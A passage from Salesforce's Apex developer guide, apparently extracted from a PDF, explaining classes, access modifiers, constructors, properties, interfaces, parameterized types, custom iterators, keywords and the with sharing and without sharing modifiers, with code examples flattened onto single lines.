The private access modifier declares that this class is only known locally, that is, only by this section of code. This is the default access for inner classesthat is, if you don't specify an access modifier for an inner class, it is considered private. This keyword can only be used with inner classes. The public access modifier declares that this class is visible in your application or namespace. The global access modifier declares that this class is known by all Apex scripts everywhere. All classes that contain methods defined with the webService keyword must be declared as global. If a method or inner class is declared as global, the outer, top-level class must also be defined as global. The with sharing and without sharing keywords specify the sharing mode for this class. For more information, see Using the with sharing or without sharing Keywords on page 105. The virtual definition modifier declares that this class allows extension and overrides. You cannot override a method with the override keyword unless the class has been defined as virtual. The abstract definition modifier declares that this class contains abstract methods, that is, methods that only have their signature declared and no body defined. Note: Classes defined with either virtual or abstract cannot also be defined as global in Developer Edition organizations. They can be defined as global in sandbox organizations. Only private and public classes can be defined as either virtual or abstract in Developer Edition organizations. However, a class defined as global can extend virtual or abstract classes in either Developer Edition organizations or sandboxes. You cannot add a method to an abstract or virtual class after the class has been uploaded in a Managed - Released package version. For more information about managed packages, see Developing Apex in Managed Packages on page 170.

A class can implement multiple interfaces, but only extend one existing class. This restriction means that Apex does not support multiple inheritance. The interface names in the list are separated by commas. For more information about interfaces, see Interfaces and Extending Classes on page 98. For more information about method and variable access modifiers, see Access Modifiers on page 91.

Extended Class Example

The following is an extended example of a class, showing all the features of Apex classes. The keywords and concepts introduced in the example are explained in more detail throughout this chapter.
// Top-level (outer) class must be public or global (usually public unless they contain // a Web Service, then they must be global) public class OuterClass { // Static final variable (constant) outer class level only private static final Integer MY_INT; // Non-final static variable - use this to communicate state across triggers // within a single request) public static String sharedState; // Static method - outer class level only public static Integer getInt() { return MY_INT; } // Static initialization (can be included where the variable is defined) static { MY_INT = 2; } // Member variable for outer class private final String m; // Instance initialization block - can be done where the variable is declared, // or in a constructor

85

Classes, Objects, and Interfaces

Extended Class Example

{ m = 'a'; } // Because no constructor is explicitly defined in this outer class, an implicit, // no-argument, public constructor exists // Inner interface public virtual interface MyInterface { // No access modifier is necessary for interface methods - these are always // public or global depending on the interface visibility void myMethod(); } // Interface extension interface MySecondInterface extends MyInterface { Integer method2(Integer i); } // Inner class - because it is virtual it can be extended. // This class implements an interface that, in turn, extends another interface. // Consequently the class must implement all methods. public virtual class InnerClass implements MySecondInterface { // Inner member variables private final String s; private final String s2; // Inner instance initialization block (this code could be located above) { this.s = 'x'; } // Inline initialization (happens after the block above executes) private final Integer i = s.length(); // Explicit no argument constructor InnerClass() { // This invokes another constructor that is defined later this('none'); } // Constructor that assigns a final variable value public InnerClass(String s2) { this.s2 = s2; } // Instance method that implements a method from MyInterface. // Because it is declared virtual it can be overridden by a subclass. public virtual void myMethod() { /* does nothing */ } // Implementation of the second interface method above. // This method references member variables (with and without the "this" prefix) public Integer method2(Integer i) { return this.i + s.length(); } } // Abstract class (that subclasses the class above). No constructor is needed since // parent class has a no-argument constructor public abstract class AbstractChildClass extends InnerClass { // Override the parent class method with this signature. // Must use the override keyword public override void myMethod() { /* do something else */ } // Same name as parent class method, but different signature. // This is a different method (displaying polymorphism) so it does not need

86

Classes, Objects, and Interfaces

Extended Class Example

// to use the override keyword protected void method2() {} // Abstract method - subclasses of this class must implement this method abstract Integer abstractMethod(); } // Complete the abstract class by implementing its abstract method public class ConcreteChildClass extends AbstractChildClass { // Here we expand the visibility of the parent method - note that visibility // cannot be restricted by a sub-class public override Integer abstractMethod() { return 5; } } // A second sub-class of the original InnerClass public class AnotherChildClass extends InnerClass { AnotherChildClass(String s) { // Explicitly invoke a different super constructor than one with no arguments super(s); } } // Exception inner class public virtual class MyException extends Exception { // Exception class member variable public Double d; // Exception class constructor MyException(Double d) { this.d = d; } // Exception class method, marked as protected protected void doIt() {} } // Exception classes can be abstract and implement interfaces public abstract class MySecondException extends Exception implements MyInterface { } }

This code example illustrates: A top-level class definition (also called an outer class) Static variables and static methods in the top-level class, as well as static initialization code blocks Member variables and methods for the top-level class Classes with no user-defined constructor these have an implicit, no-argument constructor An interface definition in the top-level class An interface that extends another interface Inner class definitions (one level deep) within a top-level class A class that implements an interface (and, therefore, its associated sub-interface) by implementing public versions of the method signatures An inner class constructor definition and invocation An inner class member variable and a reference to it using the this keyword (with no arguments) An inner class constructor that uses the this keyword (with arguments) to invoke a different constructor Initialization code outside of constructors both where variables are defined, as well as with anonymous blocks in curly braces ({}). Note that these execute with every construction in the order they appear in the file, as with Java. Class extension and an abstract class Methods that override base class methods (which must be declared virtual)

87

Classes, Objects, and Interfaces

Declaring Class Variables

The override keyword for methods that override subclass methods Abstract methods and their implementation by concrete sub-classes The protected access modifier Exceptions as first class objects with members, methods, and constructors

This example shows how the class above can be called by another Apex script:
// Construct an instance of an inner concrete class, with a user-defined constructor OuterClass.InnerClass ic = new OuterClass.InnerClass('x'); // Call user-defined methods in the class System.assertEquals(2, ic.method2(1)); // Define a variable with an interface data type, and assign it a value that is of // a type that implements that interface OuterClass.MyInterface mi = ic; // Use instanceof and casting as usual OuterClass.InnerClass ic2 = mi instanceof OuterClass.InnerClass ? (OuterClass.InnerClass)mi : null; System.assert(ic2 != null); // Construct the outer type OuterClass o = new OuterClass(); System.assertEquals(2, OuterClass.getInt()); // Construct instances of abstract class children System.assertEquals(5, new OuterClass.ConcreteChildClass().abstractMethod()); // Illegal - cannot construct an abstract class // new OuterClass.AbstractChildClass(); // Illegal cannot access a static method through an instance // o.getInt(); // Illegal - cannot call protected method externally // new OuterClass.ConcreteChildClass().method2();

This code example illustrates: Construction of the outer class Construction of an inner class and the declaration of an inner interface type A variable declared as an interface type can be assigned an instance of a class that implements that interface Casting an interface variable to be a class type that implements that interface (after verifying this using the instanceof operator)

Declaring Class Variables

To declare a variable, specify the following: Optional: Modifiers, such as public or final, as well as static. Required: The data type of the variable, such as String or Boolean. Required: The name of the variable. Optional: The value of the variable.

88

Classes, Objects, and Interfaces

Defining Class Methods

Use the following syntax when defining a variable:

[public | private | protected | global | final] [static] data type variable name [= value]

For example:
private static final Integer MY_INT; private final Integer i = 1;

Defining Class Methods

To define a method, specify the following: Optional: Modifiers, such as public or protected. Required: The data type of the value returned by the method, such as String or Integer. Use void if the method does not return a value. Required: A list of input parameters for the method, separated by commas, each preceded by its data type, and enclosed in parentheses (). If there are no parameters, use a set of empty parentheses. A method can only have 32 input parameters. Required: The body of the method, enclosed in braces {}. All the code for the method, including any local variable declarations, is contained here.

Use the following syntax when defining a method:

(public | private | protected | global ) [override] [static] data type method name (input parameters) { // The body of the method }

Note: You can only use override to override methods in classes that have been defined as virtual.

For example:
public static Integer getInt() { return MY_INT; }

As in Java, methods that return values can also be run as a statement if their results are not assigned to another variable. Note that user-defined methods: Can be used anywhere that system methods are used. Pass arguments by reference, so that a variable that is passed into a method and then modified will also be modified in the original code that called the method. Can be recursive. Can have side effects, such as DML insert statements that initialize sObject record IDs. See Apex Data Manipulation Language (DML) Operations on page 189. Can refer to themselves or to methods defined later in the same class or anonymous block. Apex parses methods in two phases, so forward declarations are not needed. Can be polymorphic. For example, a method named foo can be implemented in two ways, one with a single Integer parameter and one with two Integer parameters. Depending on whether the method is called with one or two Integers, the Apex parser selects the appropriate implementation to execute. If the parser cannot find an exact match, it then seeks

89

Classes, Objects, and Interfaces

Using Constructors

an approximate match using type coercion rules. For more information on data conversion, see Understanding Rules of Conversion on page 39. Note: If the parser finds multiple approximate matches, a parse-time exception is generated.

Cannot be declared as static when used in a trigger . When using void methods that have side effects, user-definted methods are typically executed as stand-alone procedure statements in Apex scripts. For example:
System.debug('Here's a note for the log.');

Can have statements where the return values as are run as a statement if their results are not assigned to another variable. This is the same as in Java.

Using Constructors
A constructor is code that is invoked when an object is created from the class blueprint. You do not need to write a constructor for every class. If a class does not have a user-defined constructor, an implicit, no-argument, public one is used. The syntax for a constructor is similar to a method, but it differs from a method definition in that it never has an explicit return type and it is not inherited by the object created from it. After you write the constructor for a class, you must use the new keyword in order to instantiate an object from that class, using that constructor. For example, using the following class:
public class TestObject { // The no argument constructor public TestObject() { // more code here } }

A new object of this type can be instantiated with the following code:
TestObject myTest = new TestObject();

If you write a constructor that takes arguments, you can then use that constructor to create an object using those arguments. If you create a constructor that takes arguments, and you still want to use a no-argument constructor, you must include one in your code. Once you create a constructor for a class, you no longer have access to the default, no-argument public constructor. You must create your own. In Apex, a constructor can be overloaded, that is, there can be more than one constructor for a class, each having different parameters. The following example illustrates a class with two constructors: one with no arguments and one that takes a simple Integer argument. It also illustrates how one constructor calls another constructor using the this(...) syntax, also know as constructor chaining.
public class TestObject2 { private static final Integer DEFAULT_SIZE = 10; Integer size; //Constructor with no arguments public TestObject2() { this(DEFAULT_SIZE); // Using this(...) calls the one argument constructor

90

Classes, Objects, and Interfaces

Access Modifiers

} // Constructor with one argument public TestObject2(Integer ObjectSize) { size = ObjectSize; } }

New objects of this type can be instantiated with the following code:
TestObject2 myObject1 = new TestObject2(42); TestObject2 myObject2 = new TestObject2();

Every constructor that you create for a class must have a different argument list. In the following example, all of the constructors are possible:
public class Leads { // First a no-argument constructor public Leads () {} // A constructor with one argument public Leads (Boolean call) {} // A constructor with two arguments public Leads (String email, Boolean call) {} // Though this constructor has the same arguments as the // one above, they are in a different order, so this is legal public Leads (Boolean call, String email) {} }

When you define a new class, you are defining a new data type. You can use class name in any place you can use other data type names, such as String, Boolean, or Account. If you define a variable whose type is a class, any object you assign to it must be an instance of that class or subclass.

Access Modifiers
Apex allows you to use the private, protected, public, and global access modifiers when defining methods and variables. While triggers and anonymous blocks can also use these access modifiers, they are not as useful in smaller portions of Apex. For example, declaring a method as global in an anonymous block does not enable you to call it from outside of that code. For more information on class access modifiers, see Apex Defining Classes on page 84. Note: Interface methods have no access modifiers. They are always global. For more information, see Interfaces and Extending Classes on page 98. By default, a method or variable is visible only to the Apex within the defining class. This is different from Java, where methods and variables are public by default. Apex is more restrictive, and requires you to explicitly specify a method or variable as public in order for it to be available to other classes in the same application namespace (see Namespace Prefix on page 115). You can change the level of visibility by using the following access modifiers:
private

This is the default, and means that the method or variable is accessible only within the Apex class in which it is defined. If you do not specify an access modifier, the method or variable is private.

91

Classes, Objects, and Interfaces

Static and Instance

protected

This means that the method or variable is visible to any inner classes in the defining Apex class. You can only use this access modifier for instance methods and member variables. Note that it is strictly more permissive than the default (private) setting, just like Java.
public

This means the method or variable can be used by any Apex in this application or namespace. Note: In Apex, the public access modifier is not the same as it is in Java. This was done to discourage joining applications, to keep the code for each application separate. In Apex, if you want to make something public like it is in Java, you need to use the global access modifier.
global

This means the method or variable can be used by any Apex script that has access to the class, not just the Apex scripts in the same application. This access modifier should be used for any method that needs to be referenced outside of the application, either in the Force.com Web Services API or by other Apex scripts. If you declare a method or variable as global, you must also declare the class that contains it as global. Note: Salesforce.com recommends using the global access modifier rarely, if at all. Cross-application dependencies are difficult to maintain.

To use the private, protected, public, or global access modifiers, use the following syntax:
[(none)|private|protected|public|global] declaration

For example:
private string s1 = '1'; public string gets1() { return this.s1; }

Static and Instance

In Apex, you can have static methods, variables, and initialization code, instance methods, member variables, and initialization code (which have no modifier), and local variables: Static methods, variables, or initialization code are associated with a class, and are only allowed in outer classes. When you declare a method or variable as static, it is initialized only once when a class is loaded. Instance methods, member variables, and initialization code are associated with a particular object and have no definition modifier. When you declare instance methods, member variables, or initialization code, an instance of that item is created with every object instantiated from the class. Local variables are associated with the block of code in which they are declared. All local variables should be initialized before they are used.

The following is an example of a local variable whose scope is the duration of the if code block:
Boolean myCondition = true; if (myCondition) {

92

Classes, Objects, and Interfaces

Static and Instance

integer localVariable = 10; }

Using Static Methods and Variables You can only use static methods and variables with outer classes. Inner classes have no static methods or variables. A static method or variable does not require an instance of the class in order to run. All static member variables in a class are initialized before any object of the class is created. This includes any static initialization code blocks. All of these are run in the order in which they appear in the class. Static methods are generally used as utility methods and never depend on a particular instance member variable value. Because a static method is only associated with a class, it cannot access any instance member variable values of its class. Static variables are only static within the scope of the request. They are not static across the server, or across the entire organization. Use static variables to store information that is shared within the confines of the class. All instances of the same class share a single copy of the static variables. For example, all triggers that are spawned by the same request can communicate with each other by viewing and updating static variables in a related class. A recursive trigger might use the value of a class variable to determine when to exit the recursion. Suppose you had the following class:
public class p { public static boolean firstRun = true; }

A trigger that uses this class could then selectively fail the first run of the trigger:
trigger t1 on Account (before delete, after delete, after undelete) { if(Trigger.isBefore){ if(Trigger.isDelete){ if(p.firstRun){ Trigger.old[0].addError('Before Account Delete Error'); p.firstRun=false; } } } }

Class static variables cannot be accessed through an instance of that class. So if class C has a static variable S, and x is an instance of C, then x.S is not a legal expression. The same is true for instance methods: if M() is a static method then x.M() is not legal. Instead, your code should refer to those static identifiers using the class: C.S and C.M(). If a local variable is named the same as the class name, these static methods and variables are hidden. Inner classes behave like static Java inner classes, but do not require the static keyword. Inner classes can have instance member variables like outer classes, but there is no implicit pointer to an instance of the outer class (using the this keyword). Note: Static variable values are reset between API batches, but governor limits are not. Do not use static variables to track state information on API batches, because Salesforce.com may break up a batch into smaller chunks than the batch size you specify.

93

Classes, Objects, and Interfaces

Static and Instance

Using Instance Methods and Variables Instance methods and member variables are used by an instance of a class, that is, by an object. Instance member variables are declared inside a class, but not within a method. Instance methods usually use instance member variables to affect the behavior of the method. Suppose you wanted to have a class that collects two dimensional points and plot them on a graph. The following skeleton class illustrates this, making use of member variables to hold the list of points and an inner class to manage the two-dimensional list of points.
public class Plotter { // This inner class manages the points class Point { Double x; Double y; Point(Double x, Double y) { this.x = x; this.y = y; } Double getXCoordinate() { return x; } Double getYCoordinate() { return y; } } List<Point> points = new List<Point>(); public void plot(Double x, Double y) { points.add(new Point(x, y)); } // The following method takes the list of points and does something with them public void render() { } }

Using Initialization Code Instance initialization code is a block of code in the following form that is defined in a class:
{ //code body }

The instance initialization code in a class is executed every time an object is instantiated from that class. These code blocks run before the constructor. If you do not want to write your own constructor for a class, you can use an instance initialization code block to initialize instance variables. However, most of the time you should either give the variable a default value or use the body of a constructor to do initialization and not use instance initialization code.

94

Classes, Objects, and Interfaces

Apex Properties

Static initialization code is a block of code preceded with the keyword static:
static { //code body }

Similar to other static code, a static initialization code block is only initialized once on the first use of the class. A class can have any number of either static or instance initialization code blocks. They can appear anywhere in the code body. The code blocks are executed in the order in which they appear in the file, the same as in Java. You can use static initialization code to initialize static final variables and to declare any information that is static, such as a map of values. For example:
public class MyClass { class RGB { Integer red; Integer green; Integer blue; RGB(Integer red, Integer green, Integer blue) { this.red = red; this.green = green; this.blue = blue; } } static Map<String, RGB> colorMap = new Map<String, RGB>(); static { colorMap.put('red', new RGB(255, 0, 0)); colorMap.put('cyan', new RGB(0, 255, 255)); colorMap.put('magenta', new RGB(255, 0, 255)); } }

Apex Properties
An Apex property is similar to a variable, however, you can do additional things in your script to a property value before it is accessed or returned. Properties can be used in many different ways: they can validate data before a change is made; they can prompt an action when data is changed, such as altering the value of other member variables; or they can expose data that is retrieved from some other source, such as another class. Property definitions include one or two code blocks, representing a get accessor and a set accessor: The code in a get accessor executes when the property is read. The code in a set accessor executes when the property is assigned a new value.

A property with only a get accessor is considered read-only. A property with only a set accessor is considered write-only. A property with both accessors is read-write. To declare a property, use the following syntax in the body of a class:
Public class BasicClass { // Property declaration access_modifier return_type property_name {

95

Classes, Objects, and Interfaces

Apex Properties

get { //Get accessor code block } set { //Set accessor code block } } }

Where:
access_modifier is the access modifier for the property. All modifiers that can be applied to variables can also be applied to properties. These include: public, private, global, protected, static, virtual, abstract, override and transient. For more information on access modifiers, see Access Modifiers on page 91. return_type is the type of the property, such as Integer, Double, sObject, and so on. For more information, see Data

Types on page 27.

property_name is the name of the property

For example, the following class defines a property named prop. The property is public. The property returns an integer data type.
public class BasicProperty { public integer prop { get { return prop; } set { prop = value; } } }

The following code segment calls the class above, exercising the get and set accessors:
BasicProperty bp = new BasicProperty(); bp.prop = 5; // Calls set accessor System.assert(bp.prop == 5); // Calls get accessor

Note the following: The body of the get accessor is similar to that of a method. It must return a value of the property type. Executing the get accessor is the same as reading the value of the variable. The get accessor must end in a return statement. Salesforce.com recommends that your get accessor should not change the state of the object that it is defined on. The set accessor is similar to a method whose return type is void. When you assign a value to the property, the set accessor is invoked with an argument that provides the new value. When the set accessor is invoked, the system passes an implicit argument to the setter called value of the same data type as the property. Properties cannot be defined on interface. Apex properties are based on their counterparts in C#, with the following differences: Properties provide storage for values directly. You do not need to create supporting members for storing values. It is possible to create automatic properties in Apex. For more information, see Using Automatic Properties on page 96.

Using Automatic Properties Properties do not require additional code in their get or set accessor code blocks. Instead, you can leave get and set accessor code blocks empty to define an automatic property. Automatic properties allow you to write more compact code that is easier

96

Classes, Objects, and Interfaces

Apex Properties

to debug and maintain. They can be declared as read-only, read-write, or write-only. The following example creates three automatic properties:
public class AutomaticProperty { public integer MyReadOnlyProp { get; } public double MyReadWriteProp { get; set; } public string MyWriteOnlyProp { set; } }

The following code segment exercises these properties:

AutomaticProperty ap = new AutomaticProperty(); ap.MyReadOnlyProp = 5; // This produces a compile error: not writable ap.MyReadWriteProp = 5; // No error System.assert(MyWriteOnlyProp == 5); // This produces a compile error: not readable

Using Static Properties When a property is declared as static, the property's accessor methods execute in a static context. This means that the accessors do not have access to non-static member variables defined in the class. The following example creates a class with both static and instance properties:
public class StaticProperty { public static integer StaticMember; public integer NonStaticMember; public static integer MyGoodStaticProp { get{return MyGoodStaticProp;} } // The following produces a system error // public static integer MyBadStaticProp { return NonStaticMember; } public integer MyGoodNonStaticProp { get{return NonStaticMember;} } }

The following code segment calls the static and instance properties:
StaticProperty sp = new StaticProperty(); // The following produces a system error: a static variable cannot be // accessed through an object instance // sp.MyGoodStaticProp = 5; // The following does not produce an error StaticProperty.MyGoodStaticProp = 5;

Using Access Modifiers on Property Accessors Property accessors can be defined with their own access modifiers. If an accessor includes its own access modifier, this modifier overrides the access modifier of the property. The access modifier of an individual accessor must be more restrictive than the access modifier on the property itself. For example, if the property has been defined as public, the individual accessor cannot be defined as global. The following class definition shows additional examples:
global virtual class PropertyVisibility { // X is private for read and public for write public integer X { private get; set; } // Y can be globally read but only written within a class global integer Y { get; public set; } // Z can be read within the class but only subclasses can set it

97

Classes, Objects, and Interfaces

Interfaces and Extending Classes

public integer Z { get; protected set; } }

Interfaces and Extending Classes

An interface is like a class in which none of the methods have been implementedthe method signatures are there, but the body of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the interface. Interfaces can provide a layer of abstraction to your code. They separate the specific implementation of a method from the declaration for that method. This way you can have different implementations of a method based on your specific application. Defining an interface is similar to defining a new class. For example, a company might have two types of purchase orders, ones that come from customers, and others that come from their employees. Both are a type of purchase order. Suppose you needed a method to provide a discount. The amount of the discount can depend on the type of purchase order. You can model the general concept of a purchase order as an interface and have specific implementations for customers and employees. In the following example the focus is only on the discount aspect of a purchase order.
public class PurchaseOrders { // An interface that defines what a purchase order looks like in general public interface PurchaseOrder { // All other functionality excluded Double discount(); } // One implementation of the interface for customers public virtual class CustomerPurchaseOrder implements PurchaseOrder { public virtual Double discount() { return .05; // Flat 5% discount } } // Employee purchase order extends Customer purchase order, but with a // different discount public class EmployeePurchaseOrder extends CustomerPurchaseOrder{ public override Double discount() { return .10; // Its worth it being an employee! 10% discount } } }

Note the following about the above example: The interface PurchaseOrder is defined as a general prototype. Methods defined within an interface have no access modifiers and contain just their signature. The CustomerPurchaseOrder class implements this interface; therefore, it must provide a definition for the discount method. As with Java, any class that implements an interface must define all of the methods contained in the interface. The employee version of the purchase order extends the customer version. A class extends another class using the keyword extends. A class can only extend one other class, but it can implement more than one interface.

When you define a new interface, you are defining a new data type. You can use an interface name in any place you can use another data type name. If you define a variable whose type is an interface, any object you assign to it must be an instance of a class that implements the interface, or a sub-interface data type. An interface can extend another interface. As with classes, when an interface extends another interface, all the methods and properties of the extended interface are available to the extending interface.

98

Classes, Objects, and Interfaces

Parameterized Typing and Interfaces

See also Classes and Casting on page 109. You cannot add a method to an interface after the class has been uploaded in a Managed - Released package version. For more information about managed packages, see Developing Apex in Managed Packages on page 170.

Parameterized Typing and Interfaces

Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before that variable can be used. For example, the following is legal in Apex:
Integer x = 1;

The following is not legal if x has not been defined earlier:

x = 1;

Lists, maps and sets are parameterized in Apex: they take any data type Apex supports for them as an argument. That data type must be replaced with an actual data type upon construction of the list, map or set. For example:
List<String> myList = new List<String>();

Parameterized typing allows interfaces to be implemented with generic data type parameters that are replaced with actual data types upon construction. The following gives an example of how the syntax of a parameterized interface works. In this example, the interface Pair has two type variables, T and U. A type variable can be used like a regular type in the body of the interface.
public virtual interface Pair<T, U> { T getFirst(); U getSecond(); void setFirst(T val); void setSecond(U val); Pair<U, T> swap(); }

The following interface DoubleUp extends the Pair interface. It uses the type variable T:
public interface DoubleUp<T> extends Pair<T, T> {}

Tip: Notice that Pair must be defined as virtual for it to be extended by DoubleUp.

Implementing Parameterized Interfaces A class that implements a parameterized interface must pass data types in as arguments to the interface's type parameters.
public class StringPair implements DoubleUp<String> { private String s1; private String s2; public StringPair(String s1, String s2) { this.s1 = s1; this.s2 = s2; } public String getFirst() { return this.s1; } public String getSecond() { return this.s2; }

99

Classes, Objects, and Interfaces

Parameterized Typing and Interfaces

public void setFirst(String val) { this.s1 = val; } public void setSecond(String val) { this.s2 = val; } public Pair<String, String> swap() { return new StringPair(this.s2, this.s1); } }

Type variables can never appear outside an interface declaration, such as in a class. However, fully instantiated types, such as Pair<String, String> are allowed anywhere in Apex that any other data type can appear. For example, the following are legal in Apex:
Pair<String, String> y = x.swap(); DoubleUp<String> z = (DoubleUp<String>) y;

In this example, when the compiler compiles the class StringPair, it must check that the class implements all of the methods in DoubleUp<String> and in Pair<String, String>. So the compliler substitutes String for T and String for U inside the body of interface Pair<T, U>.
DoubleUp<String> x = new StringPair('foo', 'bar');

This means that the following method prototypes must implement in StringPair for the class to successfully compile:
String getFirst(); String getSecond(); void setFirst(String val); void setSecond(String val); Pair<String, String> swap();

Overloading Methods In this example, the following interface is used:

public interface Overloaded<T> { void foo(T x); void foo(String x); }

The interface Overloaded is legal in Apex: you can overload a method by defining two or more methods with the same name but different parameters. However, you cannot have any ambiguity when invoking an overloaded method. The following class successfully implements the Overloaded interface because it simultaneously implements both method prototypes specified in the interface:
public class MyClass implements Overloaded<String> { public void foo(String x) {} }

The following executes successfully because m is typed as MyClass, therefore MyClass.foo is the unique, matching method.
MyClass m = new MyClass(); m.foo('bar');

100

Classes, Objects, and Interfaces

Custom Iterators

The following does not execute successfully because o is typed as Overloaded<String>, and so there are two matching methods for o.foo(), neither of which typed to a specific method. The compiler cannot distinguish which of the two matching methods should be used. :
Overloaded<String> o = m; o.foo('bar');

Subtyping with Parameterized Lists In Apex, if type T is a subtype of U, then List<T> would be a subtype of List<U>. For example, the following is legal:
List<String> slst = new List<String> {'foo', 'bar'}; List<Object> olst = slst;

However, you cannot use this in interfaces with parameterized types, such as for List, Map or Set. The following is not legal:
public interface I<T> {} I<String> x = ...; I<Object> y = x; // Compile error: Illegal assignment from I<String> to I<Object>

Custom Iterators
An iterator traverses through every item in a collection. For example, in a while loop in Apex, you define a condition for exiting the loop, and you must provide some means of traversing the collection, that is, an iterator. In the following example, count is incremented by 1 every time the loop is executed (count++) :
while (count < 11) { System.debug(count); count++; }

Using the Iterator interface you can create a custom set of instructions for traversing a List through a loop. This is useful for data that exists in sources outside of Salesforce.com that you would normally define the scope of using a SELECT statement. Iterators can also be used if you have multiple SELECT statements. Using Custom Iterators To use custom iterators, you must create an Apex class that implements the Iterator interface. The Iterator interface has the following instance methods: Name
hasNext

Arguments

Returns Boolean Any type

Description Returns true if there is another item in the collection being traversed, false otherwise. Returns the next item in the collection.

next

All methods in the Iterator interface must be declared as global. You can only use a custom iterartor in a while loop. For example:
IterableString x = new IterableString('This is a really cool test.'); while(x.hasNext()){

101

Classes, Objects, and Interfaces

Custom Iterators

system.debug(x.next()); }

Iterators are not currently supported in for loops. Using Custom Iterators with Iterable If you do not want to use a custom iterator with a list, but instead want to create your own data structure, you can use the Iterable interface to generate the data structure. The Iterable interface has the following method: Name
iterator

Arguments

Returns Iterator class

Description Returns a reference to the iterator for this interface.

The iterator method must be declared as global. It creates a reference to the iterator that you can then use to traverse the data structure. In the following example a custom iterator iterates through a collection:
global class CustomIterable implements Iterator<Account>{ List<Account> accs {get; set;} Integer i {get; set;} public CustomIterable(){ accs = [SELECT id, name, numberofEmployees FROM Account WHERE name = 'false']; i = 0; } global boolean hasNext(){ if(i >= accs.size()) return false; else return true; } global Account next(){ if(i == 8){ i++; return null;} i=i+1; return accs[i-1]; } }

The following calls the above code:

global class foo implements iterable<Account>{ global Iterator<Account> Iterator(){ return new CustomIterable(); } }

The following is a batch job that uses an iterator:

global class batchClass implements Database.batchable<Account>{ global Iterable<Account> start(Database.batchableContext info){ return new foo(); } global void execute(Database.batchableContext info, List<Account> scope){ List<Account> accsToUpdate = new List<Account>(); for(Account a : scope){ a.name = 'true'; a.numberOfEmployees = 69; accsToUpdate.add(a);

102

Classes, Objects, and Interfaces

Keywords

} update accsToUpdate; } global void finish(Database.batchableContext info){ } }

Keywords
Apex has the following keywords available:
final instanceof this transient with sharing and without sharing

Using the final Keyword

You can use the final keyword to modify variables. Final variables can only be assigned a value once, either when you declare a variable or in initialization code. You must assign a value to it in one of these two places. Static final variables can be changed in static initialization code or where defined. Member final variables can be changed in initialization code blocks, constructors, or with other variable declarations. To define a constant, mark a variable as both static and final (see Constants on page 41). Non-final static variables are used to communicate state at the class level (such as state between triggers). However, they are not shared across requests. Methods and classes are final by default. You cannot use the final keyword in the declaration of a class or method. This means they cannot be overridden. Use the virtual keyword if you need to override a method or class.

Using the instanceof Keyword

If you need to verify at runtime whether an object is actually an instance of a particular class, use the instanceof keyword. The instanceof keyword can only be used to verify if the target type in the expression on the right of the keyword is a viable alternative for the declared type of the expression on the left. You could add the following check to the Report class in the classes and casting example before you cast the item back into a CustomReport object.
If (Reports.get(0) instanceof CustomReport) { // Can safely cast it back to a custom report object CustomReport c = (CustomReport) Reports.get(0); } Else { // Do something with the non-custom-report. }

Using the this Keyword

There are two different ways of using the this keyword.

103

Classes, Objects, and Interfaces

Using the transient Keyword

You can use the this keyword in dot notation, without parenthesis, to represent the current instance of the class in which it appears. Use this form of the this keyword to access instance variables and methods. For example:
public class myTestThis { string s; { this.s = 'TestString'; } }

In the above example, the class testThis declares an instance variable s. The initialization code populates the variable using the this keyword. Or you can use the this keyword to do constructor chaining, that is, in one constructor, call another constructor. In this format, use the this keyword with parentheses. For example:
public class testThis { // First constructor for the class. It requires a string parameter. public testThis(string s2) { } // Second constructor for the class. It does not require a parameter. // This constructor calls the first constructor using the this keyword. public testThis() { this('None'); } }

When you use the this keyword in a constructor to do constructor chaining, it must be the first statement in the constructor.

Using the transient Keyword

Note: The transient keyword can only be used in Visualforce controllers and controller extensions.

Use the transient keyword to declare instance variables that cannot be saved, and should not be transmitted as part of the view state for a Visualforce page. For example:
Transient Integer currentTotal;

Declaring variables as transient reduces view state size. A common use case for the transient keyword is a field on a Visualforce page that is needed only for the duration of a page request, but should not be part of the page's view state and would use too many system resources to be recomputed many times during a request. Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view state. These objects include the following: Savepoints PageReferences XmlStream Classes Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient, such as a collection of Savepoints Most of the objects generated by system methods, such as Schema.getGlobalDescribe.

104

Classes, Objects, and Interfaces

Using the with sharing or without sharing Keywords

The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page causes the transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date continues to have its original value, which has been deserialized from the view state, so it remains the same.
<apex:page controller="ExampleController"> T1: {!t1} <br/> T2: {!t2} <br/> <apex:form> <apex:commandLink value="refresh"/> </apex:form> </apex:page> public class ExampleController { DateTime t1; transient DateTime t2; public String getT1() { if (t1 == null) t1 = System.now(); return '' + t1; } public String getT2() { if (t2 == null) t2 = System.now(); return '' + t2; } }

Using the with sharing or without sharing Keywords

Apex scripts generally run in system context, that is, the current user's profile-based permissions, field-level security, and sharing rules are not taken into account during script execution. Note: The only exceptions to this rule are Apex scripts that are executed with the executeAnonymous call. executeAnonymous always executes using the full permissions of the current user. For more information on executeAnonymous, see Anonymous Blocks on page 80. Because these rules are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden from users by profile-based permissions, field-level security, or organization-wide defaults. They should be particularly careful with Web services, which can be restricted by profile, but execute in system context once they are initiated. Most of the time, system context provides the correct behavior for system-level operations such as triggers and Web services that need access to all data in an organization. However, you can also specify that particular Apex classes should enforce the sharing rules that apply to the current user. (For more information on sharing rules, see the Salesforce.com online help.) Note: A user's profile-based permissions and field-level security are always ignored to ensure that Apex scripts can view all fields and objects in an organization. If particular fields or objects are hidden for a user, the script would fail to compile at runtime. Use the with sharing keywords when declaring a class to enforce the sharing rules that apply to the current user. For example:
public with sharing class sharingClass { // Code here }

105

Classes, Objects, and Interfaces

Using the with sharing or without sharing Keywords

Use the without sharing keywords when declaring a class to ensure that the sharing rules for the current user are not enforced. For example:
public without sharing class noSharing { // Code here }

If a class is not declared as either with or without sharing, the current sharing rules remain in effect. This means that if the class is called by a class that has sharing enforced, then sharing is enforced for the called class. Both inner classes and outer classes can be declared as with sharing. The sharing setting applies to all code contained in the class, including initialization code, constructors, and methods. Classes inherit this setting from a parent class when one class extends or implements another, but inner classes do not inherit the sharing setting from their container class. For example:
